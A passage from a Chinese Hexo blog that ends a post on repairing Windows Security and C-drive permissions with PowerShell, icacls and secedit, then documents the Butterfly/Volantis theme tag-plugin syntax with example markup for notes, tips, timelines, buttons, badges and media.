应该就能解决问题了 如果还不行,可尝试 输入 get-appxpackage SecHealthUI | remove-Appxpackage add-appxpackage -register “C:\Program Files\WindowsApps*SecHealthUI*\AppxManifest.xml” -disabledevelopmentmode 如果问题依旧,建议重开 我就是上面代码都修不好,准备重开了😂 —开始菜单>>设置>>系统>>恢复>>重置此电脑 或者尝试用WDControl禁用或移除. 如果这都不行,重开吧. 对C盘进行TrustedInstaller提权而导致的严重系统故障 方案一 进入安全模式,C盘右键属性,安全,高级,把文件权限所有者改为everyone,然后再把继承勾选上 可惜,本人因虚拟机在安全模式分辨率异常的情况下无法操作. 方案二 Program Files和Program Files (x86)设为TrustedInstaller (NT SERVICE\TrustedInstaller),Users设为SYSTEM C盘权限换为 Administrators 方案三 用管理员命令行 cd 到C盘 然后 icacls * /t /q /c /reset 或者 cmd管理权限 运行 secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose 如果还有某名奇妙的bug就重开吧..😭..吾重开n次了,每次都一个危险操作搞崩.

2022/7/19
articleCard.readMore

Tag Plugins Plus

本文已过期,且内容不可用 移除了tag_plugins.css,故本文内容显示异常.属于已知. 测试: 行内文本样式 text 标签语法样式预览示例源码 1 2 3 4 5 6 {% u 文本内容 %} {% emp 文本内容 %} {% wavy 文本内容 %} {% del 文本内容 %} {% kbd 文本内容 %} {% psw 文本内容 %} 带 下划线 的文本 带 着重号 的文本 带 波浪线 的文本 带 删除线 的文本 键盘样式的文本 command + D 密码样式的文本: 这里没有验证码 1 2 3 4 5 6 1. 带 {% u 下划线 %} 的文本 2. 带 {% emp 着重号 %} 的文本 3. 带 {% wavy 波浪线 %} 的文本 4. 带 {% del 删除线 %} 的文本 5. 键盘样式的文本 {% kbd command %} + {% kbd D %} 6. 密码样式的文本:{% psw 这里没有验证码 %} 行内文本 span 标签语法参数配置样式预览示例源码 1 {% span 样式参数(参数以空格划分), 文本内容 %} 字体: logo, code 颜色: red,yellow,green,cyan,blue,gray 大小: small, h4, h3, h2, h1, large, huge, ultra 对齐方向: left, center, right 彩色文字 在一段话中方便插入各种颜色的标签,包括:红色、黄色、绿色、青色、蓝色、灰色。 超大号文字 文档「开始」页面中的标题部分就是超大号文字。 Volantis A Wonderful Theme for Hexo 1 2 3 4 5 6 - 彩色文字 在一段话中方便插入各种颜色的标签,包括:{% span red, 红色 %}、{% span yellow, 黄色 %}、{% span green, 绿色 %}、{% span cyan, 青色 %}、{% span blue, 蓝色 %}、{% span gray, 灰色 %}。 - 超大号文字 文档「开始」页面中的标题部分就是超大号文字。 {% span center logo large, Volantis %} {% span center small, A Wonderful Theme for Hexo %} 段落文本 p 标签语法参数配置样式预览示例源码 1 {% p 样式参数(参数以空格划分), 文本内容 %} 字体: logo, code 颜色: red,yellow,green,cyan,blue,gray 大小: small, h4, h3, h2, h1, large, huge, ultra 对齐方向: left, center, right 彩色文字 在一段话中方便插入各种颜色的标签,包括: 红色 、黄色 、绿色 、青色 、蓝色 、灰色 。 超大号文字 文档「开始」页面中的标题部分就是超大号文字。 Volantis A Wonderful Theme for Hexo 1 2 3 4 5 6 - 彩色文字 在一段话中方便插入各种颜色的标签,包括:{% p red, 红色 %}、{% p yellow, 黄色 %}、{% p green, 绿色 %}、{% p cyan, 青色 %}、{% p blue, 蓝色 %}、{% p gray, 灰色 %}。 - 超大号文字 文档「开始」页面中的标题部分就是超大号文字。 {% p center logo large, Volantis %} {% p center small, A Wonderful Theme for Hexo %} 引用 note 最新版 butterfly 标签支持引用 fontawesome V5 图标,效果上已经优于 volantis 的 note 标签。故不再额外引入 volantis的note样式。 以下是 butterfly 主题的 note 写法. 通用配置语法格式配置参数样式预览示例源码 修改主题配置文件 1 2 3 4 5 6 7 8 9 10 11 12 note: # Note tag style values: # - simple bs-callout old alert style. Default. # - modern bs-callout new (v2-v3) alert style. # - flat flat callout style with background, like on Mozilla or StackOverflow. # - disabled disable all CSS styles import of note tag. style: simple icons: false border_radius: 3 # Offset lighter of background in % for modern and flat styles (modern: -12 | 12; flat: -18 | 6). # Offset also applied to label tag variables. This option can work with disabled note tag. light_bg_offset: 0 Note标签外挂有两种用法。icons和light_bg_offset只对方法一生效。 方法一 1 2 3 {% note [class] [no-icon] [style] %} Any content (support inline tags too.io). {% endnote %} 方法二 1 2 3 {% note [color] [icon] [style] %} Any content (support inline tags too.io). {% endnote %} 方法一 参数用法 class【可选】标识,不同的标识有不同的配色 ( default / primary / success / info / warning / danger ) no-icon【可选】不显示 icon style【可选】可以覆盖配置中的 style (simple/modern/flat/disabled) 方法二 参数用法 class【可选】标识,不同的标识有不同的配色 ( default / blue / pink / red / purple / orange / green ) no-icon【可选】可配置自定义 icon (只支持 fontawesome 图标, 也可以配置 no-icon ) style【可选】可以覆盖配置中的 style (simple/modern/flat/disabled) 方法一 simple样式 默认 提示块标签 default 提示块标签 primary 提示块标签 success 提示块标签 info 提示块标签 warning 提示块标签 danger 提示块标签 modern样式 默认 提示块标签 default 提示块标签 primary 提示块标签 success 提示块标签 info 提示块标签 warning 提示块标签 danger 提示块标签 flat样式 默认 提示块标签 default 提示块标签 primary 提示块标签 success 提示块标签 info 提示块标签 warning 提示块标签 danger 提示块标签 disabled样式 默认 提示块标签 default 提示块标签 primary 提示块标签 success 提示块标签 info 提示块标签 warning 提示块标签 danger 提示块标签 no-icon样式 默认 提示块标签 default 提示块标签 primary 提示块标签 success 提示块标签 info 提示块标签 warning 提示块标签 danger 提示块标签 方法二 simple样式 你是刷 Visa 还是 UnionPay 2021年快到了…. 小心开车 安全至上 这是三片呢?还是四片? 你是刷 Visa 还是 UnionPay 剪刀石头布 前端最讨厌的浏览器 modern样式 你是刷 Visa 还是 UnionPay 2021年快到了…. 小心开车 安全至上 这是三片呢?还是四片? 你是刷 Visa 还是 UnionPay 剪刀石头布 前端最讨厌的浏览器 flat样式 你是刷 Visa 还是 UnionPay 2021年快到了…. 小心开车 安全至上 这是三片呢?还是四片? 你是刷 Visa 还是 UnionPay 剪刀石头布 前端最讨厌的浏览器 disabled样式 你是刷 Visa 还是 UnionPay 2021年快到了…. 小心开车 安全至上 这是三片呢?还是四片? 你是刷 Visa 还是 UnionPay 剪刀石头布 前端最讨厌的浏览器 no-icon样式 你是刷 Visa 还是 UnionPay 2021年快到了…. 小心开车 安全至上 这是三片呢?还是四片? 你是刷 Visa 还是 UnionPay 剪刀石头布 前端最讨厌的浏览器 方法一 simple样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note simple %}默认 提示块标签{% endnote %} {% note default simple %}default 提示块标签{% endnote %} {% note primary simple %}primary 提示块标签{% endnote %} {% note success simple %}success 提示块标签{% endnote %} {% note info simple %}info 提示块标签{% endnote %} {% note warning simple %}warning 提示块标签{% endnote %} {% note danger simple %}danger 提示块标签{% endnote %} modern样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note modern %}默认 提示块标签{% endnote %} {% note default modern %}default 提示块标签{% endnote %} {% note primary modern %}primary 提示块标签{% endnote %} {% note success modern %}success 提示块标签{% endnote %} {% note info modern %}info 提示块标签{% endnote %} {% note warning modern %}warning 提示块标签{% endnote %} {% note danger modern %}danger 提示块标签{% endnote %} flat样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note flat %}默认 提示块标签{% endnote %} {% note default flat %}default 提示块标签{% endnote %} {% note primary flat %}primary 提示块标签{% endnote %} {% note success flat %}success 提示块标签{% endnote %} {% note info flat %}info 提示块标签{% endnote %} {% note warning flat %}warning 提示块标签{% endnote %} {% note danger flat %}danger 提示块标签{% endnote %} disabled样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note disabled %}默认 提示块标签{% endnote %} {% note default disabled %}default 提示块标签{% endnote %} {% note primary disabled %}primary 提示块标签{% endnote %} {% note success disabled %}success 提示块标签{% endnote %} {% note info disabled %}info 提示块标签{% endnote %} {% note warning disabled %}warning 提示块标签{% endnote %} {% note danger disabled %}danger 提示块标签{% endnote %} no-icon样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note no-icon %}默认 提示块标签{% endnote %} {% note default no-icon %}default 提示块标签{% endnote %} {% note primary no-icon %}primary 提示块标签{% endnote %} {% note success no-icon %}success 提示块标签{% endnote %} {% note info no-icon %}info 提示块标签{% endnote %} {% note warning no-icon %}warning 提示块标签{% endnote %} {% note danger no-icon %}danger 提示块标签{% endnote %} 方法二 simple样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note 'fab fa-cc-visa' simple %}你是刷 Visa 还是 UnionPay{% endnote %} {% note blue 'fas fa-bullhorn' simple %}2021年快到了....{% endnote %} {% note pink 'fas fa-car-crash' simple %}小心开车 安全至上{% endnote %} {% note red 'fas fa-fan' simple%}这是三片呢?还是四片?{% endnote %} {% note orange 'fas fa-battery-half' simple %}你是刷 Visa 还是 UnionPay{% endnote %} {% note purple 'far fa-hand-scissors' simple %}剪刀石头布{% endnote %} {% note green 'fab fa-internet-explorer' simple %}前端最讨厌的浏览器{% endnote %} modern样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note 'fab fa-cc-visa' modern %}你是刷 Visa 还是 UnionPay{% endnote %} {% note blue 'fas fa-bullhorn' modern %}2021年快到了....{% endnote %} {% note pink 'fas fa-car-crash' modern %}小心开车 安全至上{% endnote %} {% note red 'fas fa-fan' modern%}这是三片呢?还是四片?{% endnote %} {% note orange 'fas fa-battery-half' modern %}你是刷 Visa 还是 UnionPay{% endnote %} {% note purple 'far fa-hand-scissors' modern %}剪刀石头布{% endnote %} {% note green 'fab fa-internet-explorer' modern %}前端最讨厌的浏览器{% endnote %} flat样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note 'fab fa-cc-visa' flat %}你是刷 Visa 还是 UnionPay{% endnote %} {% note blue 'fas fa-bullhorn' flat %}2021年快到了....{% endnote %} {% note pink 'fas fa-car-crash' flat %}小心开车 安全至上{% endnote %} {% note red 'fas fa-fan' flat%}这是三片呢?还是四片?{% endnote %} {% note orange 'fas fa-battery-half' flat %}你是刷 Visa 还是 UnionPay{% endnote %} {% note purple 'far fa-hand-scissors' flat %}剪刀石头布{% endnote %} {% note green 'fab fa-internet-explorer' flat %}前端最讨厌的浏览器{% endnote %} disabled样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note 'fab fa-cc-visa' disabled %}你是刷 Visa 还是 UnionPay{% endnote %} {% note blue 'fas fa-bullhorn' disabled %}2021年快到了....{% endnote %} {% note pink 'fas fa-car-crash' disabled %}小心开车 安全至上{% endnote %} {% note red 'fas fa-fan' disabled %}这是三片呢?还是四片?{% endnote %} {% note orange 'fas fa-battery-half' disabled %}你是刷 Visa 还是 UnionPay{% endnote %} {% note purple 'far fa-hand-scissors' disabled %}剪刀石头布{% endnote %} {% note green 'fab fa-internet-explorer' disabled %}前端最讨厌的浏览器{% endnote %} no-icon样式 1 2 3 4 5 6 7 8 9 10 11 12 13 {% note no-icon %}你是刷 Visa 还是 UnionPay{% endnote %} {% note blue no-icon %}2021年快到了....{% endnote %} {% note pink no-icon %}小心开车 安全至上{% endnote %} {% note red no-icon %}这是三片呢?还是四片?{% endnote %} {% note orange no-icon %}你是刷 Visa 还是 UnionPay{% endnote %} {% note purple no-icon %}剪刀石头布{% endnote %} {% note green no-icon %}前端最讨厌的浏览器{% endnote %} 上标标签 tip 主要样式参考自小康的butterfly渐变背景标签,自己写了个tip.js来渲染标签,精简了一下代码。 标签语法配置参数样式预览示例源码 1 {% tip [参数,可选] %}文本内容{% endtip %} 样式: success,error,warning,bolt,ban,home,sync,cogs,key,bell 自定义图标: 支持fontawesome。 默认情况 success error warning bolt ban home sync cogs key bell 自定义font awesome图标 1 2 3 4 5 6 7 8 9 10 11 12 {% tip %}默认情况{% endtip %} {% tip success %}success{% endtip %} {% tip error %}error{% endtip %} {% tip warning %}warning{% endtip %} {% tip bolt %}bolt{% endtip %} {% tip ban %}ban{% endtip %} {% tip home %}home{% endtip %} {% tip sync %}sync{% endtip %} {% tip cogs %}cogs{% endtip %} {% tip key %}key{% endtip %} {% tip bell %}bell{% endtip %} {% tip fa-atom %}自定义font awesome图标{% endtip %} 动态标签 anima 动态标签的实质是引用了font-awesome-animation的css样式,不一定局限于tip标签,也可以是其他标签。 只不过这里tip.js是我自己写的,所以我清楚它会怎么被渲染成html,才用的这个写法。 可以熟读文档,使用html语言来编写其他标签类型。 标签语法配置参数样式预览示例源码 1 {% tip [参数,可选] %}文本内容{% endtip %} 更多详情请参看font-awesome-animation文档 将所需的CSS类添加到图标(或DOM中的任何元素)。 对于父级悬停样式,需要给目标元素添加指定CSS类,同时还要给目标元素的父级元素添加CSS类faa-parent animated-hover。(详情见示例及示例源码) You can regulate the speed of the animation by adding the CSS class or . faa-fastfaa-slow 可以通过给目标元素添加CSS类faa-fast或faa-slow来控制动画快慢。 略.https://akilar.top/posts/615e2dec/ On DOM load(当页面加载时显示动画) warning ban 调整动画速度 warning ban On hover(当鼠标悬停时显示动画) warning ban On parent hover(当鼠标悬停在父级元素时显示动画) warning ban On DOM load(当页面加载时显示动画) 1 2 {% tip warning faa-horizontal animated %}warning{% endtip %} {% tip ban faa-flash animated %}ban{% endtip %} 调整动画速度 1 2 {% tip warning faa-horizontal animated faa-fast %}warning{% endtip %} {% tip ban faa-flash animated faa-slow %}ban{% endtip %} On hover(当鼠标悬停时显示动画) 1 2 {% tip warning faa-horizontal animated-hover %}warning{% endtip %} {% tip ban faa-flash animated-hover %}ban{% endtip %} On parent hover(当鼠标悬停在父级元素时显示动画) 1 2 {% tip warning faa-parent animated-hover %}<p class="faa-horizontal">warning</p>{% endtip %} {% tip ban faa-parent animated-hover %}<p class="faa-flash">ban</p>{% endtip %} 复选列表 checkbox 标签语法配置参数样式预览示例源码 1 {% checkbox 样式参数(可选), 文本(支持简单md) %} 样式: plus, minus, times 颜色: red,yellow,green,cyan,blue,gray 选中状态: checked 纯文本测试 支持简单的 markdown 语法 支持自定义颜色 绿色 + 默认选中 黄色 + 默认选中 青色 + 默认选中 蓝色 + 默认选中 增加 减少 叉 1 2 3 4 5 6 7 8 9 10 {% checkbox 纯文本测试 %} {% checkbox checked, 支持简单的 [markdown](https://guides.github.com/features/mastering-markdown/) 语法 %} {% checkbox red, 支持自定义颜色 %} {% checkbox green checked, 绿色 + 默认选中 %} {% checkbox yellow checked, 黄色 + 默认选中 %} {% checkbox cyan checked, 青色 + 默认选中 %} {% checkbox blue checked, 蓝色 + 默认选中 %} {% checkbox plus green checked, 增加 %} {% checkbox minus yellow checked, 减少 %} {% checkbox times red checked, 叉 %} 单选列表 radio 标签语法配置参数样式预览示例源码 1 {% radio 样式参数(可选), 文本(支持简单md) %} 颜色: red,yellow,green,cyan,blue,gray 选中状态: checked 纯文本测试 支持简单的 markdown 语法 支持自定义颜色 绿色 黄色 青色 蓝色 1 2 3 4 5 6 7 {% radio 纯文本测试 %} {% radio checked, 支持简单的 [markdown](https://guides.github.com/features/mastering-markdown/) 语法 %} {% radio red, 支持自定义颜色 %} {% radio green, 绿色 %} {% radio yellow, 黄色 %} {% radio cyan, 青色 %} {% radio blue, 蓝色 %} 时间轴 timeline 插件版v1.0.16以后,为避免与Butterfly_v4.0+版本中的timeline外挂标签冲突,已经移除了插件内的timeline外挂标签,请低于Butterfly_v4.0的用户升级主题或安装1.0.15版本的外挂标签插件,或者自行添加timeline.js和timeline.styl文件至对应文件夹。请使用了原有timeline外挂标签的用户受累替换语法格式。 Butterfly_v4.0+自带的timeline外挂标签样式更加好看。语法语意也更加清晰。 时间轴 1参数配置样式预览示例源码 1 2 3 4 5 6 7 8 {% timeline 时间线标题(可选)[,color] %} <!-- timeline 时间节点(标题) --> 正文内容 <!-- endtimeline --> <!-- timeline 时间节点(标题) --> 正文内容 <!-- endtimeline --> {% endtimeline %} 参数解释 title标题/时间线 colortimeline颜色:default(留空) / blue / pink / red / purple / orange / green 时间轴样式 2020-07-24 2.6.6 -> 3.0 如果有 hexo-lazyload-image 插件,需要删除并重新安装最新版本,设置 lazyload.isSPA: true。 2.x 版本的 css 和 js 不适用于 3.x 版本,如果使用了 use_cdn: true 则需要删除。 2.x 版本的 fancybox 标签在 3.x 版本中被重命名为 gallery 。 2.x 版本的置顶 top: true 改为了 pin: true,并且同样适用于 layout: page 的页面。 如果使用了 hexo-offline 插件,建议卸载,3.0 版本默认开启了 pjax 服务。 2020-05-15 2.6.3 -> 2.6.6 不需要额外处理。 2020-04-20 2.6.2 -> 2.6.3 全局搜索 seotitle 并替换为 seo_title。 group 组件的索引规则有变,使用 group 组件的文章内,group: group_name 对应的组件名必须是 group_name。 group 组件的列表名优先显示文章的 short_title 其次是 title。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 {% timeline 时间轴样式,blue %} <!-- timeline 2020-07-24 [2.6.6 -> 3.0](https://github.com/volantis-x/hexo-theme-volantis/releases) --> 1. 如果有 `hexo-lazyload-image` 插件,需要删除并重新安装最新版本,设置 `lazyload.isSPA: true`。 2. 2.x 版本的 css 和 js 不适用于 3.x 版本,如果使用了 `use_cdn: true` 则需要删除。 3. 2.x 版本的 fancybox 标签在 3.x 版本中被重命名为 gallery 。 4. 2.x 版本的置顶 `top: true` 改为了 `pin: true`,并且同样适用于 `layout: page` 的页面。 5. 如果使用了 `hexo-offline` 插件,建议卸载,3.0 版本默认开启了 pjax 服务。 <!-- endtimeline --> <!-- timeline 2020-05-15 [2.6.3 -> 2.6.6](https://github.com/volantis-x/hexo-theme-volantis/releases/tag/2.6.6) --> 不需要额外处理。 <!-- endtimeline --> <!-- timeline 2020-04-20 [2.6.2 -> 2.6.3](https://github.com/volantis-x/hexo-theme-volantis/releases/tag/2.6.3) --> 1. 全局搜索 `seotitle` 并替换为 `seo_title`。 2. group 组件的索引规则有变,使用 group 组件的文章内,`group: group_name` 对应的组件名必须是 `group_name`。 2. group 组件的列表名优先显示文章的 `short_title` 其次是 `title`。 <!-- endtimeline --> {% endtimeline %} 链接卡片 link 标签语法样式预览示例源码 1 {% link 标题, 链接, 图片链接(可选) %} 糖果屋教程贴 https://akilar.top/posts/615e2dec/ 1 {% link 糖果屋教程贴, https://akilar.top/posts/615e2dec/, https://npm.elemecdn.com/akilar-candyassets/image/siteicon/favicon.ico %} 按钮 btns Volantis的按钮使用的是btn和btns标签。btns和butterfly的button不冲突,但是btn会被强制渲染,导致部分参数失效,而且btn的效果还是butterfly的button更好看些。所以就只适配了btns。 标签语法参数配置示例源码 1 2 3 4 {% btns 样式参数 %} {% cell 标题, 链接, 图片或者图标 %} {% cell 标题, 链接, 图片或者图标 %} {% endbtns %} 圆角样式:rounded, circle 增加文字样式:可以在容器内增加 <b>标题</b>和<p>描述文字</p> 布局方式: 默认为自动宽度,适合视野内只有一两个的情况。 参数含义 wide宽一点的按钮 fill填充布局,自动铺满至少一行,多了会换行 center居中,按钮之间是固定间距 around居中分散 grid2等宽最多2列,屏幕变窄会适当减少列数 grid3等宽最多3列,屏幕变窄会适当减少列数 grid4等宽最多4列,屏幕变窄会适当减少列数 grid5等宽最多5列,屏幕变窄会适当减少列数 如果需要显示类似「团队成员」之类的一组含有头像的链接: 1 2 3 4 5 6 7 {% btns circle grid5 %} {% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %} {% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %} {% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %} {% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %} {% cell xaoxuu, https://xaoxuu.com, https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png %} {% endbtns %} 或者含有图标的按钮: 1 2 3 4 {% btns rounded grid5 %} {% cell 下载源码, /, fas fa-download %} {% cell 查看文档, /, fas fa-book-open %} {% endbtns %} 圆形图标 + 标题 + 描述 + 图片 + 网格5列 + 居中 1 2 3 4 5 6 7 8 9 10 11 12 13 14 {% btns circle center grid5 %} <a href='https://apps.apple.com/cn/app/heart-mate-pro-hrm-utility/id1463348922?ls=1'> <i class='fab fa-apple'></i> <b>心率管家</b> {% p red, 专业版 %} <img src='https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/qrcode/heartmate_pro.png'> </a> <a href='https://apps.apple.com/cn/app/heart-mate-lite-hrm-utility/id1475747930?ls=1'> <i class='fab fa-apple'></i> <b>心率管家</b> {% p green, 免费版 %} <img src='https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/qrcode/heartmate_lite.png'> </a> {% endbtns %} github 卡片 ghcard ghcard使用了github-readme-stats的API,支持直接使用markdown语法来写。 标签语法配置参数样式娱乐示例源码 1 2 {% ghcard 用户名, 其它参数(可选) %} {% ghcard 用户名/仓库, 其它参数(可选) %} 使用,分割各个参数。写法为:参数名=参数值 以下只写几个常用参数值。 参数名取值释义 hidestars,commits,prs,issues,contribs隐藏指定统计 count_privatetrue将私人项目贡献添加到总提交计数中 show_iconstrue显示图标 theme请查阅Available Themes主题 用户信息卡片 仓库信息卡片 用户信息卡片 1 2 3 4 5 | {% ghcard xaoxuu %} | {% ghcard xaoxuu, theme=vue %} | | -- | -- | | {% ghcard xaoxuu, theme=buefy %} | {% ghcard xaoxuu, theme=solarized-light %} | | {% ghcard xaoxuu, theme=onedark %} | {% ghcard xaoxuu, theme=solarized-dark %} | | {% ghcard xaoxuu, theme=algolia %} | {% ghcard xaoxuu, theme=calm %} | 仓库信息卡片 1 2 3 4 5 | {% ghcard volantis-x/hexo-theme-volantis %} | {% ghcard volantis-x/hexo-theme-volantis, theme=vue %} | | -- | -- | | {% ghcard volantis-x/hexo-theme-volantis, theme=buefy %} | {% ghcard volantis-x/hexo-theme-volantis, theme=solarized-light %} | | {% ghcard volantis-x/hexo-theme-volantis, theme=onedark %} | {% ghcard volantis-x/hexo-theme-volantis, theme=solarized-dark %} | | {% ghcard volantis-x/hexo-theme-volantis, theme=algolia %} | {% ghcard volantis-x/hexo-theme-volantis, theme=calm %} | github 徽标 ghbdage 关于ghbdage参数的更多具体用法可以参看站内教程:添加github徽标 标签语法配置参数样式预览示例源码 1 {% bdage [right],[left],[logo]||[color],[link],[title]||[option] %} left:徽标左边的信息,必选参数。 right: 徽标右边的信息,必选参数, logo:徽标图标,图标名称详见simpleicons,可选参数。 color:徽标右边的颜色,可选参数。 link:指向的链接,可选参数。 title:徽标的额外信息,可选参数。主要用于优化SEO,但object标签不会像a标签一样在鼠标悬停显示title信息。 option:自定义参数,支持shields.io的全部API参数支持,具体参数可以参看上文中的拓展写法示例。形式为name1=value2&name2=value2。 本外挂标签的参数分为三组,用||分割。 基本参数,定义徽标左右文字和图标 信息参数,定义徽标右侧内容背景色,指向链接 //如果是跨顺序省略可选参数,仍然需要写个逗号,用作分割 拓展参数,支持shields的API的全部参数内容 //如果是跨顺序省略可选参数组,仍然需要写双竖线||用作分割 本外挂标签的参数分为三组,用||分割。 基本参数,定义徽标左右文字和图标 1 2 3 MARKDOWN {% bdage Theme,Butterfly %} {% bdage Frame,Hexo,hexo %} 信息参数,定义徽标右侧内容背景色,指向链接 1 2 3 4 MARKDOWN {% bdage CDN,JsDelivr,jsDelivr||abcdef,https://metroui.org.ua/index.html,本站使用JsDelivr为静态资源提供CDN加速 %} //如果是跨顺序省略可选参数,仍然需要写个逗号,用作分割 {% bdage Source,GitHub,GitHub||,https://github.com/ %} 拓展参数,支持shields的API的全部参数内容 1 2 3 4 MARKDOWN {% bdage Hosted,Vercel,Vercel||brightgreen,https://vercel.com/,本站采用双线部署,默认线路托管于Vercel||style=social&logoWidth=20 %} //如果是跨顺序省略可选参数组,仍然需要写双竖线||用作分割 {% bdage Hosted,Vercel,Vercel||||style=social&logoWidth=20&logoColor=violet %} 网站卡片 sites 标签语法样式预览示例源码 1 2 3 4 {% sitegroup %} {% site 标题, url=链接, screenshot=截图链接, avatar=头像链接(可选), description=描述(可选) %} {% site 标题, url=链接, screenshot=截图链接, avatar=头像链接(可选), description=描述(可选) %} {% endsitegroup %} xaoxuu简约风格 inkss这是一段关于这个网站的描述文字 MHuiG这是一段关于这个网站的描述文字 Colsrch这是一段关于这个网站的描述文字 Linhk1606这是一段关于这个网站的描述文字 1 2 3 4 5 6 7 {% sitegroup %} {% site xaoxuu, url=https://xaoxuu.com, screenshot=https://i.loli.net/2020/08/21/VuSwWZ1xAeUHEBC.jpg, avatar=https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png, description=简约风格 %} {% site inkss, url=https://inkss.cn, screenshot=https://i.loli.net/2020/08/21/Vzbu3i8fXs6Nh5Y.jpg, avatar=https://cdn.jsdelivr.net/gh/inkss/common@master/static/web/avatar.jpg, description=这是一段关于这个网站的描述文字 %} {% site MHuiG, url=https://blog.mhuig.top, screenshot=https://i.loli.net/2020/08/22/d24zpPlhLYWX6D1.png, avatar=https://cdn.jsdelivr.net/gh/MHuiG/imgbed@master/data/p.png, description=这是一段关于这个网站的描述文字 %} {% site Colsrch, url=https://colsrch.top, screenshot=https://i.loli.net/2020/08/22/dFRWXm52OVu8qfK.png, avatar=https://cdn.jsdelivr.net/gh/Colsrch/images/Colsrch/avatar.jpg, description=这是一段关于这个网站的描述文字 %} {% site Linhk1606, url=https://linhk1606.github.io, screenshot=https://i.loli.net/2020/08/21/3PmGLCKicnfow1x.png, avatar=https://i.loli.net/2020/02/09/PN7I5RJfFtA93r2.png, description=这是一段关于这个网站的描述文字 %} {% endsitegroup %} 行内图片 inlineimage 标签语法 1参数配置 1 {% inlineimage 图片链接, height=高度(可选) %} 高度:height=20px 这是 一段话。 这又是 一段话。 1 2 3 这是 {% inlineimage https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/aru-l/0000.gif %} 一段话。 这又是 {% inlineimage https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/aru-l/5150.gif, height=40px %} 一段话。 单张图片 image 标签语法单张图片 2样式预览示例源码 1 {% image 链接, width=宽度(可选), height=高度(可选), alt=描述(可选), bg=占位颜色(可选) %} 图片宽度高度:width=300px, height=32px 图片描述:alt=图片描述(butterfly需要在主题配置文件中开启图片描述) 占位背景色:bg=#f2f2f2 添加描述: 1 {% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, alt=每天下课回宿舍的路,没有什么故事。 %} 指定宽度: 1 {% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px %} 指定宽度并添加描述: 1 {% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px, alt=每天下课回宿舍的路,没有什么故事。 %} 设置占位背景色: 1 {% image https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg, width=400px, bg=#1D0C04, alt=优化不同宽度浏览的观感 %} 音频 audio 标签语法 1样式预览示例源码 1 {% audio 音频链接 %} Your browser does not support the audio tag. 1 {% audio https://github.com/volantis-x/volantis-docs/releases/download/assets/Lumia1020.mp3 %} 视频 video 标签语法参数配置样式预览示例源码 1 {% video 视频链接 %} 对其方向:left, center, right 列数:逗号后面直接写列数,支持 1 ~ 4 列。 100%宽度 Your browser does not support the video tag. 50%宽度 Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. 25%宽度 Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. Your browser does not support the video tag. 100%宽度 1 {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} 50%宽度 1 2 3 4 5 6 {% videos, 2 %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% endvideos %} 25%宽度 1 2 3 4 5 6 7 8 9 10 {% videos, 4 %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% video https://github.com/volantis-x/volantis-docs/releases/download/assets/IMG_0341.mov %} {% endvideos %} 相册 gallery Butterfly自带gallery相册,而且会根据图片大小自动调整排版,效果比Volantis的gallery更好,故不再收录Volantis的gallery标签。 以下为Butterfly自带的gallery标签写法。相册图库和相册配合使用。 标签语法参数配置样式预览示例源码 gallerygroup 相册图库 1 2 3 4 5 <div class="gallery-group-main"> {% galleryGroup name description link img-url %} {% galleryGroup name description link img-url %} {% galleryGroup name description link img-url %} </div> gallery 相册 1 2 3 {% gallery %} markdown 圖片格式 {% endgallery %} gallerygroup 相册图库 参数名释义 name图库名字 description图库描述 link链接到对应相册的地址 img-url图库封面 思维拓展一下,相册图库的实质其实就是个快捷方式,可以自定义添加描述、封面、链接。那么我们未必要把它当做一个相册,完全可以作为一个链接卡片,链接到视频、QQ、友链都是不错的选择。 gallery 